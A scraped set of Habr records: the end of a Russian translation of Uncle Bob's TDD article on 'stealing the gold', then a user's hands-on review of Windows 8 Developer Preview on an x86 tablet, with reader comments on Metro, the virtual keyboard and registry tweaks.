<br/> [1] Действительно, всего лишь позавчера я потратил четыре часа, буду опутанным терниями, которые я упустил и не расчистил как следует. В конце концов git reset — hard оказался моим единственным выходом.<br/> <br/> [2] Покрыл ли он все возможные условия? Что насчёт табуляции, переводов строк, бэкспэйсов, непечатаемых символов?</div>
Фофанов Илья (EngineerSpock)
Uncle Bob
http://blog.cleancoder.com/uncle-bob/2014/11/19/GoingForTheGold.html
<i>Примечание автора: это перевод статьи Боба Мартина.</i><br/> На написание этой статьи меня вдохновила <a href="http://blog.ploeh.dk/2014/11/18/the-isnullorwhitespace-trap/">статья Марка Симана «The IsNullOrWhiteSpace trap»</a> (@ploeh). Статья Марка кратко и хорошо изложена. Пожалуйста, прочитайте сначала её, прежде чем продолжать читать данную.<br/> Ловушка, о которой рассказывает Марк, это частный случай более общей ловушки, которую я называю <i>воровством золота</i>. Я могу продемонстрировать эту ловушку, возвращаясь обратно к статье Марка.<br/> <br/> Заметьте, что первый тест, который написал Марк выглядел следующим образом:<br/> <br/> <pre><code class="cs">[InlineData(&quot;Seven Lions Polarized&quot; , &quot;LIONS POLARIZED SEVEN&quot; )] [InlineData(&quot;seven lions polarized&quot; , &quot;LIONS POLARIZED SEVEN&quot; )] [InlineData(&quot;Polarized seven lions&quot; , &quot;LIONS POLARIZED SEVEN&quot; )] [InlineData(&quot;Au5 Crystal Mathematics&quot;, &quot;AU5 CRYSTAL MATHEMATICS&quot;)] [InlineData(&quot;crystal mathematics au5&quot;, &quot;AU5 CRYSTAL MATHEMATICS&quot;)] </code></pre><br/> Он уже попал в ловушку. Почему? Потому что он уже украл <i>золото</i>.<br/>
Примечание автора: это перевод статьи Боба Мартина. На написание этой статьи меня вдохновила статья Марка Симана «The IsNullOrWhiteSpace trap» (@ploeh). Статья Марка кратко и хорошо изложена. Пожалуйста, прочитайте сначала её, прежде чем продолжать читать данную. Ловушка, о которой рассказывает Марк, это частный случай более общей ловушки, которую я называю воровством золота. Я могу продемонстрировать эту ловушку, возвращаясь обратно к статье Марка. Заметьте, что первый тест, который написал Марк выглядел следующим образом: [code] [InlineData("Seven Lions Polarized" , "LIONS POLARIZED SEVEN" )] [InlineData("seven lions polarized" , "LIONS POLARIZED SEVEN" )] [InlineData("Polarized seven lions" , "LIONS POLARIZED SEVEN" )] [InlineData("Au5 Crystal Mathematics", "AU5 CRYSTAL MATHEMATICS")] [InlineData("crystal mathematics au5", "AU5 CRYSTAL MATHEMATICS")] [/code] Он уже попал в ловушку. Почему? Потому что он уже украл золото.
article
1,428,247,107
{ "commentsCount": 4, "favoritesCount": 10, "readingCount": 4078, "score": 1, "votesCount": 17, "votesCountPlus": 9, "votesCountMinus": 8 }
[ "translation" ]
[ "net", "refactoring", "tdd" ]
[ "develop" ]
[ "TDD" ]
4
null
null
{ "id": [ 8362635, 8362683, 8363505, 8364125 ], "parent_id": [ null, 8362635, null, 8363505 ], "level": [ 0, 1, 0, 1 ], "time_published": [ 1428301658, 1428303959, 1428330689, 1428385879 ], "score": [ -1, 0, 0, 0 ], "votes": [ 1, 0, 2, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за интересную статью, но качество перевода принуждает читать оригинал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Конкретные претензии в личку, если вас не затруднит. Оригинал всегда читать лучше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Явно не хватает перевода статьи, с которой все началось.<br/>\r\nВедь правда странно, что есть линка на эту статью, которая открывает дискуссию, а она на английском. Т.е. если я ее прочитаю в оригинале, то зачем мне этот перевод, ведь я и ответ тогда буду читать в оригинале.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Знаю, что Мартин рекомендует её сначала прочитать, но я понимаю простую мысль Мартина и без чтения той статьи.</div>" ], "message_markdown": [ "Спасибо за интересную статью, но качество перевода принуждает читать оригинал.", "Конкретные претензии в личку, если вас не затруднит. Оригинал всегда читать лучше.", "Явно не хватает перевода статьи, с которой все началось.\nВедь правда странно, что есть линка на эту статью, которая открывает дискуссию, а она на английском. Т.е. если я ее прочитаю в оригинале, то зачем мне этот перевод, ведь я и ответ тогда буду читать в оригинале.", "Знаю, что Мартин рекомендует её сначала прочитать, но я понимаю простую мысль Мартина и без чтения той статьи." ], "author": [ "Семён Кривошеев (SamKrew)", "Фофанов Илья (EngineerSpock)", "Alex (eaa)", "Фофанов Илья (EngineerSpock)" ], "children": [ [ 8362683 ], [], [ 8364125 ], [] ] }
128,471
ru
https://habr.com/ru/post/128471/
Windows 8 Developer Preview на планшете
Дали доступ к скачиванию Windows 8 Developer Preview. Одно из основных нововведений — заточенность интерфейса под планшеты. Решил поставить себе и посмотреть, будет ли это дело шагом вперед в сравнении с Windows 7. Дано: x86-планшет Odeon TPC-10 — Atom 1,83GHz/2GB RAM/32 GB SSD, Windows 7/Android 3.2 (основная ОС — Win7, андроид ставил посмотреть, если кому интересно, то расскажу, стоит ли оно того). Требуется: поставить на него Windows 8, оценить удобство использования и аппаратные требования именно с точки зрения планшета. ##### Процесс установки Ставится как обычная Windows, ничего, заслуживающего внимания (скачал исошку, загрузился, поставил). Тачскрин, вайфай и виртуальная клавиатура заработали сразу после перезагрузки, т.е. реальная клавиатура была нужна только для запуска установки, а первоначальную настройку уже можно было делать без нее. 32 гигабайта хватило, свободного места после установки осталось 20 гигабайт. ##### Впечатления Включается практически моментально, от момента начала загрузки ОС до появления рабочего стола проходит примерно 10 секунд (плюс 10 секунд на старт самого планшета, прохождение POST'а и т.п.). Семерка на планшете с нуля грузилась секунд 40-50, из гибернации — 30. Работает довольно шустро, может быть даже побыстрее, чем семерка. Непосредственно под планшеты пока заточена кнопка «Пуск» — вызывает оболочку Метро с плитками (пока декоративная, там работают 2-3 кнопки, можно ли добыть старый пуск — пока не выяснял) и панель управления с настройками под планшет (неизвестное устройство — акселерометр, думаю, что семерочный драйвер подойдет). Вроде пока больше ничего особо нового не видно, из остальных мест торчит слегка измененная семерка. Изменили виртуальную клавиатуру, стало несколько удобнее — теперь привязывается к краю экрана, не меняя размеры окна, стала крупнее. Но с основной раскладки убрали цифровые кнопки, можно ли вернуть — пока не понял. В IE10 плавно работает изменение масштаба страницы двумя пальцами (pinch zoom). В семерке это происходило более дискретно. Добавили «маркеры» для выделения текста — кружочки на скриншоте, пользоваться достаточно удобно. Акселерометр не подцепился, потому про скорость реакции на поворот не проверил. Хотя сомневаюсь, что будут какие-то заметные отличия от семерки, плавности айпада или третьего андроида не достигнуть. Время жизни от аккумулятора не измерял, но отличий от Windows 7 не жду, больше 4-5 часов из этого планшета не выжать. В целом, перспективы у восьмерки на планшетах есть, но, в первую очередь, все будет зависеть от софта. Семерку возвращать пока не буду, благо весь используемый софт (firefox, MSO2007, stdu viewer, 2gis) нормально завелся и под Windows 8. Update: выяснилось, что при вертикальном разрешении меньше 768 приложения метро не запускаются. А у меня 1024х600. Если подцепить внешний монитор, то запускаются нормально. А если его отключить, то запущенное приложение продолжает работать, при чем нормально масштабируется под размер экрана. Спасибо Pirate Update 2: таскбар слева — это у меня еще с Windows XP так. На широкоэкранных мониторах так удобнее. А таскбар с иконками — это семерочное.
<div xmlns="http://www.w3.org/1999/xhtml">Дали доступ к скачиванию Windows 8 Developer Preview. Одно из основных нововведений — заточенность интерфейса под планшеты. Решил поставить себе и посмотреть, будет ли это дело шагом вперед в сравнении с Windows 7.<br/> <br/> Дано: x86-планшет Odeon TPC-10 — Atom 1,83GHz/2GB RAM/32 GB SSD, Windows 7/Android 3.2 (основная ОС — Win7, андроид ставил посмотреть, если кому интересно, то расскажу, стоит ли оно того).<br/> Требуется: поставить на него Windows 8, оценить удобство использования и аппаратные требования именно с точки зрения планшета.<br/> <br/> <img src="https://habrastorage.org/r/w1560/storage1/47c1aecb/e966b681/5e1db100/9c584d79.png" data-src="https://habrastorage.org/storage1/47c1aecb/e966b681/5e1db100/9c584d79.png"/><br/> <a name="habracut"></a><br/> <h5>Процесс установки</h5><br/> Ставится как обычная Windows, ничего, заслуживающего внимания (скачал исошку, загрузился, поставил). <br/> Тачскрин, вайфай и виртуальная клавиатура заработали сразу после перезагрузки, т.е. реальная клавиатура была нужна только для запуска установки, а первоначальную настройку уже можно было делать без нее. 32 гигабайта хватило, свободного места после установки осталось 20 гигабайт.<br/> <img src="https://habrastorage.org/r/w1560/storage1/9d90194a/ef570167/89541ddd/c44ed489.png" data-src="https://habrastorage.org/storage1/9d90194a/ef570167/89541ddd/c44ed489.png"/><br/> <br/> <h5>Впечатления</h5><br/> Включается практически моментально, от момента начала загрузки ОС до появления рабочего стола проходит примерно 10 секунд (плюс 10 секунд на старт самого планшета, прохождение POST'а и т.п.). Семерка на планшете с нуля грузилась секунд 40-50, из гибернации — 30.<br/> <br/> Работает довольно шустро, может быть даже побыстрее, чем семерка. Непосредственно под планшеты пока заточена кнопка «Пуск» — вызывает оболочку Метро с плитками (пока декоративная, там работают 2-3 кнопки, можно ли добыть старый пуск — пока не выяснял) и панель управления с настройками под планшет (неизвестное устройство — акселерометр, думаю, что семерочный драйвер подойдет). <br/> <img src="https://habrastorage.org/r/w1560/storage1/dc87f706/6c3e646c/fee3c42b/76a52faa.png" data-src="https://habrastorage.org/storage1/dc87f706/6c3e646c/fee3c42b/76a52faa.png"/><br/> <br/> Вроде пока больше ничего особо нового не видно, из остальных мест торчит слегка измененная семерка.<br/> <img src="https://habrastorage.org/r/w1560/storage1/9d90194a/ef570167/89541ddd/c44ed489.png" data-src="https://habrastorage.org/storage1/9d90194a/ef570167/89541ddd/c44ed489.png"/><br/> <br/> Изменили виртуальную клавиатуру, стало несколько удобнее — теперь привязывается к краю экрана, не меняя размеры окна, стала крупнее. Но с основной раскладки убрали цифровые кнопки, можно ли вернуть — пока не понял.<br/> <img src="https://habrastorage.org/r/w1560/storage1/e4ec027a/8c6216e3/163c04b7/bf7fa36e.png" data-src="https://habrastorage.org/storage1/e4ec027a/8c6216e3/163c04b7/bf7fa36e.png"/><br/> <img src="https://habrastorage.org/r/w1560/storage1/1940113f/1d5a6754/4f286064/ddb4d3ef.png" data-src="https://habrastorage.org/storage1/1940113f/1d5a6754/4f286064/ddb4d3ef.png"/><br/> <br/> В IE10 плавно работает изменение масштаба страницы двумя пальцами (pinch zoom). В семерке это происходило более дискретно. Добавили «маркеры» для выделения текста — кружочки на скриншоте, пользоваться достаточно удобно.<br/> <img src="https://habrastorage.org/r/w1560/storage1/a87f82cc/9b768017/757ba5f1/a614650e.png" data-src="https://habrastorage.org/storage1/a87f82cc/9b768017/757ba5f1/a614650e.png"/><br/> <br/> Акселерометр не подцепился, потому про скорость реакции на поворот не проверил. Хотя сомневаюсь, что будут какие-то заметные отличия от семерки, плавности айпада или третьего андроида не достигнуть.<br/> <br/> Время жизни от аккумулятора не измерял, но отличий от Windows 7 не жду, больше 4-5 часов из этого планшета не выжать. <br/> <br/> В целом, перспективы у восьмерки на планшетах есть, но, в первую очередь, все будет зависеть от софта. Семерку возвращать пока не буду, благо весь используемый софт (firefox, MSO2007, stdu viewer, 2gis) нормально завелся и под Windows 8.<br/> <br/> <b>Update: </b>выяснилось, что при вертикальном разрешении меньше 768 приложения метро не запускаются. А у меня 1024х600. Если подцепить внешний монитор, то запускаются нормально. А если его отключить, то запущенное приложение продолжает работать, при чем нормально масштабируется под размер экрана. Спасибо <a href="http://geektimes.ru/users/pirate/" class="user_link">Pirate</a><br/> <br/> <b>Update 2: </b> таскбар слева — это у меня еще с Windows XP так. На широкоэкранных мониторах так удобнее. А таскбар с иконками — это семерочное.</div>
Антон (aik)
null
null
Дали доступ к скачиванию Windows 8 Developer Preview. Одно из основных нововведений — заточенность интерфейса под планшеты. Решил поставить себе и посмотреть, будет ли это дело шагом вперед в сравнении с Windows 7.<br/> <br/> Дано: x86-планшет Odeon TPC-10 — Atom 1,83GHz/2GB RAM/32 GB SSD, Windows 7/Android 3.2 (основная ОС — Win7, андроид ставил посмотреть, если кому интересно, то расскажу, стоит ли оно того).<br/> Требуется: поставить на него Windows 8, оценить удобство использования и аппаратные требования именно с точки зрения планшета.<br/> <br/> <img src="https://habrastorage.org/storage1/47c1aecb/e966b681/5e1db100/9c584d79.png"/><br/>
Дали доступ к скачиванию Windows 8 Developer Preview. Одно из основных нововведений — заточенность интерфейса под планшеты. Решил поставить себе и посмотреть, будет ли это дело шагом вперед в сравнении с Windows 7. Дано: x86-планшет Odeon TPC-10 — Atom 1,83GHz/2GB RAM/32 GB SSD, Windows 7/Android 3.2 (основная ОС — Win7, андроид ставил посмотреть, если кому интересно, то расскажу, стоит ли оно того). Требуется: поставить на него Windows 8, оценить удобство использования и аппаратные требования именно с точки зрения планшета.
article
1,316,023,994
{ "commentsCount": 157, "favoritesCount": 15, "readingCount": 15421, "score": 96, "votesCount": 124, "votesCountPlus": 110, "votesCountMinus": 14 }
[]
[ "tablets" ]
[ "popsci" ]
[ "планшет", "windows 8", "x86" ]
2
null
null
{ "id": [ 15175937, 15175939, 15175941, 15175943, 15175945, 15175947, 15175949, 15175951, 15175953, 15175955, 15175957, 15175959, 15175961, 15175963, 15175965, 15175967, 15175969, 15175971, 15175973, 15175975, 15175977, 15175979, 15175981, 15175983, 15175985, 15175987, 15175989, 15175991, 15175993, 15175995, 15175997, 15175999, 15176001, 15176003, 15176005, 15176007, 15176009, 15176011, 15176013, 15176015, 15176017, 15176019, 15176021, 15176023, 15176025, 15176027, 15176029, 15176031, 15176033, 15176035, 15176037, 15176039, 15176041, 15176043, 15176045, 15176047, 15176049, 15176051, 15176053, 15176055, 15176057, 15176059, 15176061, 15176063, 15176065, 15176067, 15176069, 15176071, 15176073, 15176075, 15176077, 15176079, 15176081, 15176083, 15176085, 15176087, 15176089, 15176091, 15176093, 15176095, 15176097, 15176099, 15176101, 15176103, 15176105, 15176107, 15176109, 15176111, 15176113, 15176115, 15176117, 15176119, 15176121, 15176123, 15176125, 15176127, 15176129, 15176131, 15176133, 15176135, 15176137, 15176139, 15176141, 15176143, 15176145, 15176147, 15176149, 15176151, 15176153, 15176155, 15176157, 15176159, 15176161, 15176163, 15176165, 15176167, 15176169, 15176171, 15176173, 15176175, 15176177, 15176179, 15176181, 15176183, 15176185, 15176187, 15176189, 15176191, 15176193, 15176195, 15176197, 15176199, 15176201, 15176203, 15176205, 15176207, 15176209, 15176211, 15176213, 15176215, 15176217, 15176219, 15176221, 15176223, 15176225, 15176227, 15176229, 15176231, 15176233, 15176235, 15176237, 15176239, 15176241, 15176243, 15176245, 15176247, 15176249 ], "parent_id": [ null, null, 15175937, 15175939, null, 15175945, 15175945, 15175947, null, 15175949, null, 15175953, 15175957, 15175949, 15175957, 15175963, 15175955, 15175965, 15175955, 15175971, null, null, 15175979, null, 15175973, 15175975, 15175977, null, null, 15175991, 15175981, 15175985, null, 15175943, 15176001, 15175991, 15176001, 15175959, 15176009, 15176009, 15176007, 15176011, 15176015, 15175999, 15176013, null, 15176027, 15176029, null, 15176019, 15176027, 15176031, null, null, 15176041, 15176033, 15176043, 15175963, 15176043, 15176045, 15176041, 15176057, 15176059, null, null, null, 15176043, 15176067, 15176071, 15176067, 15175945, 15176073, 15176073, 15176075, 15175969, 15175971, 15176063, 15176081, 15176041, 15176075, 15176083, 15176091, null, 15176101, 15176087, 15176089, 15176003, null, 15175989, 15175983, 15176111, 15176117, null, null, 15176121, 15176047, 15176117, 15176043, 15176101, 15176125, 15176133, 15176137, 15176117, null, 15176101, null, null, 15176149, null, 15176147, 15176153, null, 15175951, 15175947, 15176087, 15176085, null, 15176041, 15176171, 15176173, 15176175, 15176177, 15176165, 15176169, 15176155, 15176167, null, 15176189, 15176191, 15176191, 15176195, 15176197, 15176107, 15176199, 15176199, 15176141, 15176207, 15176207, 15176043, 15176201, null, 15176211, 15176165, 15176209, null, 15176225, 15176219, 15176227, 15176231, 15176233, 15176233, 15176229, 15176235, 15176237, 15176239, 15176243, 15176247 ], "level": [ 0, 0, 1, 1, 0, 1, 1, 2, 0, 2, 0, 1, 1, 2, 1, 3, 3, 2, 3, 3, 0, 0, 1, 0, 4, 4, 1, 0, 0, 1, 2, 5, 0, 2, 1, 1, 1, 2, 2, 2, 2, 3, 3, 6, 3, 0, 1, 2, 0, 4, 1, 3, 0, 0, 1, 1, 1, 3, 1, 2, 1, 2, 3, 0, 0, 0, 1, 1, 2, 1, 1, 3, 3, 2, 4, 3, 1, 4, 1, 2, 3, 5, 0, 1, 4, 2, 3, 0, 2, 1, 1, 2, 0, 0, 1, 2, 2, 1, 1, 2, 2, 3, 2, 0, 1, 0, 0, 1, 0, 1, 1, 0, 3, 2, 4, 5, 0, 1, 2, 3, 4, 5, 5, 1, 2, 6, 0, 1, 2, 2, 3, 4, 3, 5, 5, 3, 4, 4, 1, 4, 0, 5, 5, 5, 0, 1, 6, 2, 3, 4, 4, 7, 5, 5, 8, 6, 7 ], "time_published": [ 1316024452, 1316025226, 1316025504, 1316025603, 1316025689, 1316025750, 1316026462, 1316026510, 1316026545, 1316026642, 1316026669, 1316026709, 1316026805, 1316026841, 1316026864, 1316026883, 1316027376, 1316027503, 1316027655, 1316027716, 1316027847, 1316028075, 1316028211, 1316028234, 1316028333, 1316028384, 1316028432, 1316028732, 1316028760, 1316028799, 1316028825, 1316029265, 1316029323, 1316029353, 1316029489, 1316029554, 1316029589, 1316029730, 1316029741, 1316029752, 1316029775, 1316029819, 1316029944, 1316030065, 1316030131, 1316030131, 1316030141, 1316030211, 1316030246, 1316030252, 1316030355, 1316030365, 1316030455, 1316030789, 1316030926, 1316031022, 1316031063, 1316031084, 1316031192, 1316031203, 1316031817, 1316031965, 1316032174, 1316033105, 1316033351, 1316033668, 1316033866, 1316034115, 1316034544, 1316034699, 1316034785, 1316034814, 1316035062, 1316035103, 1316035125, 1316035190, 1316035382, 1316035503, 1316035506, 1316035545, 1316035726, 1316037353, 1316037936, 1316038006, 1316038735, 1316038894, 1316039490, 1316041487, 1316046274, 1316049346, 1316051665, 1316052467, 1316054305, 1316056700, 1316056833, 1316058304, 1316059257, 1316060687, 1316060750, 1316060897, 1316061034, 1316061353, 1316061908, 1316063214, 1316063833, 1316064005, 1316064016, 1316064577, 1316065925, 1316066027, 1316066458, 1316066932, 1316067567, 1316069868, 1316070825, 1316071820, 1316072472, 1316075230, 1316075343, 1316075431, 1316075532, 1316075681, 1316078425, 1316082897, 1316083573, 1316084043, 1316084541, 1316089624, 1316089752, 1316089762, 1316089980, 1316090035, 1316090075, 1316090093, 1316090279, 1316090562, 1316090868, 1316095347, 1316096087, 1316097256, 1316097681, 1316103434, 1316103606, 1316104341, 1316121180, 1316121420, 1316121557, 1316121636, 1316121814, 1316121893, 1316121997, 1316133522, 1316141700, 1316141830, 1316146087, 1316156559, 1316157087 ], "score": [ 0, 17, 14, 0, 2, 0, 0, 0, 2, 1, 0, 0, 1, 0, 0, 0, 0, 3, 0, 0, 0, -4, 2, 0, 1, 0, 0, 1, 0, 0, 3, 0, 3, 7, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 1, 2, 0, 4, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 4, 0, 0, -3, 0, 1, 0, 0, 0, 0, 0, 0, 5, -2, 0, 0, 0, 0, 0, 0, 0, 5, -2, 2, -7, 0, 1, -14, -5, 0, 0, 0, 2, 0, -1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 1, -6, 1, 13, -5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 4, 0, 0, -4, 1, 0, 0, -2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 0, 31, 16, 4, 2, 2, 0, 0, 2, 1, 0, 0, 1, 0, 0, 0, 0, 3, 0, 0, 0, 8, 4, 6, 1, 0, 0, 7, 0, 0, 3, 0, 3, 11, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 1, 2, 2, 4, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 10, 2, 4, 5, 2, 1, 0, 0, 0, 0, 0, 0, 11, 8, 0, 0, 0, 0, 0, 0, 0, 7, 10, 2, 11, 0, 1, 14, 7, 0, 0, 0, 2, 0, 1, 0, 0, 0, 0, 6, 2, 0, 0, 0, 1, 18, 1, 13, 11, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 4, 0, 0, 4, 1, 0, 0, 2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Изменили виртуальную клавиатуру, стало несколько удобнее — теперь привязывается к краю экрана, не меняя размеры окна, стала крупнее»<br/>\r\n — а что происходит если нужно что то напечатать в нижней части экрана?<br/>\r\nклавиатура закрывает текст или как?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Адский контраст между элементами Metro и Ribbon + привычный UI. Безумие, не спорю, что должно в итоге быть хорошо, но этот контраст убивает, на корню.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Переползает в верхнюю половину экрана. Но вообще ее можно спокойно отцепить от края и таскать по экрану. Или менять размеры.<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/getpro/geektimes/comment_images/4b9/3f3/f38/4b93f3f3898ec4add479241638828111.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/4b9/3f3/f38/4b93f3f3898ec4add479241638828111.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, это даже не публичная бета еще, так что надо быть снисходительнее. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сегодня установил на похожий планшет Atom Z530 (1,6GHz)/2GB RAM/32 GB SSD. Дрова GMA 500 стали не сразу, остальное подхватилось быстро. Так и не смог завести чтобы запускались Погода, Новости, магазин Приложений. После подключения записи Live, Metro вообще пропал, голый зеленый экран, ничего не отображалось более. Также интересно где IE 10… не увидел его.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кстати, радует что Windows 7 USB DVD Download Tool прекрасно понял образ 8-ки и залил на флешку.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На IE плохо смотрели, он там вполне десятый. Только вот тач-интерфейс для него, как на скриншотах в обзорах, я еще не встретил.<br/>\r\nИз «Метро» у меня вообще ничего не запускается, работают только кнопки «десктоп», «панель управления», «эксплорер» и IE, да и то не всегда.<br/>\r\n<br/>\r\nКстати, проводили пальцем от края экрана к центру? ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне проще, у меня залмановский контейнер для винта с поддержкой iso имеется. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Про ARM версию ничего пока не слышно?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Странно, у меня на сенсорном нетбуке работает почти весь метро, кроме маркета. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>можно ли добыть старый пуск — пока не выяснял</blockquote><br/>\r\nMetro отключается в реестре:<br/>\r\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer изменить RPEnabled с 1 на 0</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">нет, к скачке доступны только х64 и х86 версии, брать <a href=\"http://msdn.microsoft.com/en-us/windows/apps/br229516\">здесь</a>.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Слушайте, а цвет метро в реестре не изменить? А то меня укачивает этот зелёный )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня даже IE из метро не запускался, только из панели задач. <br/>\r\n<br/>\r\nДа, я версию и не смотрел, не обнаружил тач-интерфейса для него, чтобы миниатюры вкладок вверху отображались и тд., поэтому и решил что он 9-й.<br/>\r\n<br/>\r\nНу, я видео с презентации смотрел, поэтому все жесты запомнил, слева панель выезжает. Справа окна как в MeeGo на Nokia «разворачиваются». <br/>\r\n<br/>\r\nКлавиатура действительно удобная, но все еще глюкавит в интерфейсе чуть-чуть. Сразу после установки, скачалось 70Мб обновлений, какие-то хот-фиксы, может еще что-то скоро появится. Обидно что драйверов к железу она не ищет пока-что.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это, к слову, отключит Ribbon в Explorer. Так что если хочется только Metro отключить, надо искать другой путь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">То есть наоборот, панели расположены — это я насчет жестов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да вот я тоже в недоумении, потому что люди отписываются о работоспособности всяких там рсс-ридеров и т.п. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не только риббон, ещё и часть софта теряет новый вид:<br/>\r\n<br/>\r\n<a href=\"http://img.leprosorium.com/1231374\"><img src=\"https://habrastorage.org/r/w1560/storage1/8e88a313/4f019bbd/5ce77add/5230bd95.png\" data-src=\"https://habrastorage.org/storage1/8e88a313/4f019bbd/5ce77add/5230bd95.png\"/><br/>\r\n</a>(увеличение по клику, около 600кб)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кстати, вы какую исошку брали — «with developer tools» (4,8 гига) или маленькую?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">и сама кнопка Windows тоже теряет Metro-стиль. В общем, получается эдакая «семёрка», в которой не всё работает и иногда что-то новое вылезает. Я уже успел попробовать синхронизацию настроек пользователя через LiveID, не хочется обратно… Но пока Metro, всё же, не доработано. Надо ждать beta или RC</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Метро-приложения я так понимаю закрывать нельзя?) Только убивать процесс через диспетчер задач? <br/>\r\n<br/>\r\nПо крайней мере крестика там нет и всякие alt+f4, ctrl+q и т.д. не работают. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как-то сильно недопиленно выглядит.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так preview, даже не бета! И думаю не альфа.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вижу первую проблему Метро — контролы не отличаются от обычного текста и неясно, контролы ли они вообще. Это только мне кажется?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Маленькую, большая не флешку не лезла. Потом мне оказалось лень писать её на флешку, я её смонтировал в виртуальный привод и тупо запустился с него. Работает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кнопка Windows теряет стиль как-то через раз :) А вот остальной интерфейс отваливается сразу же по перезапуску софта. Забавно, что всё это действо не требует ребутов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">win+Z во многих открывает менюшку. И они сами на суспенд становятся обычно при сворачивании.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень хорошее дело это – 8-ка. Получается по габаритам как ipad, по возможностям – полноценный офисный ПК (есть еще взять подставку, клаву, мышку и монитор)).<br/>\r\n<br/>\r\nГлавный вопрос – сколько будет работать на заточенных под 8-ку девайсах?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Самый странный глюк — куда-б вы не повесили таскбар — меню метро-пуска появляется при наведении в нижний левый угол основного монитора. У меня вот кнопка пуск сверху-слева, а менюшка — снизу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Обычные ноуты на семерке уже спокойно работают по 8 часов на 6-ячеечной батарейке. Asus 1215b тому пример. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Обычно после Milestone 3 идёт фичерфриз. Майлстоун 3 уже был, поэтому в течение месяца, наверное, заморозят добавку новых плюшек для золотого кода. Если уже не заморозили. Сейчас будут болячки лечить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А вот у меня что-то не хочет. :(<br/>\r\nТо ли эти приложения не установились…<br/>\r\nНашел папку с *.app файлами (пишется, что ярлык), ведущими в никуда.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Немного странно читать про «декоративный» метро. У меня (Acer iconia tab w500) работает полностью все метро приложения (маркет не работает, но прямо об этом заявляет). ИЕ в метро варианте, а не как на скриншоте в статье, вообще супер для планшета. В общем, обзор весьма куцый.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я стараюсь, но пока все идет к тому, что Ribbon 100% будет, ровно как и Metro. А это, извините меня, вообще несовместимые вещи, как мне кажется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ИЕ метро, кстати, пропадает, как только дэфолт-браузером назначите что-нить другое.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как это ОС может быть по габаритам как ipad? :)<br/>\r\n<br/>\r\nНа счет того, сколько будет работать… От планшетов на х86 много не ждите. Они либо легкие, но работают недолго, либо работают долго, но весят килограмма полтора.<br/>\r\nА сколько будут работать восьмерочные планшеты на ARM'e — посмотрим, когда появятся.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А у меня вот ничего не запускается. :( И не знаю, почему.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Скорость там сейчас очень маленькая, лучше с торентов качать <a href=\"http://www.torrents.net/torrent/1803613/WindowsDeveloperPreview-64bit-English-Developer.iso/\">www.torrents.net/torrent/1803613/WindowsDeveloperPreview-64bit-English-Developer.iso/</a> (там Web seed с сайта Microsoft прописан)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хм, ставились как? С какого образа? </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А планшет у вас какой?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Главное — не сколько работать будут, а как будет с софтом для всего этого разнообразия-безобразия.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я качал рано 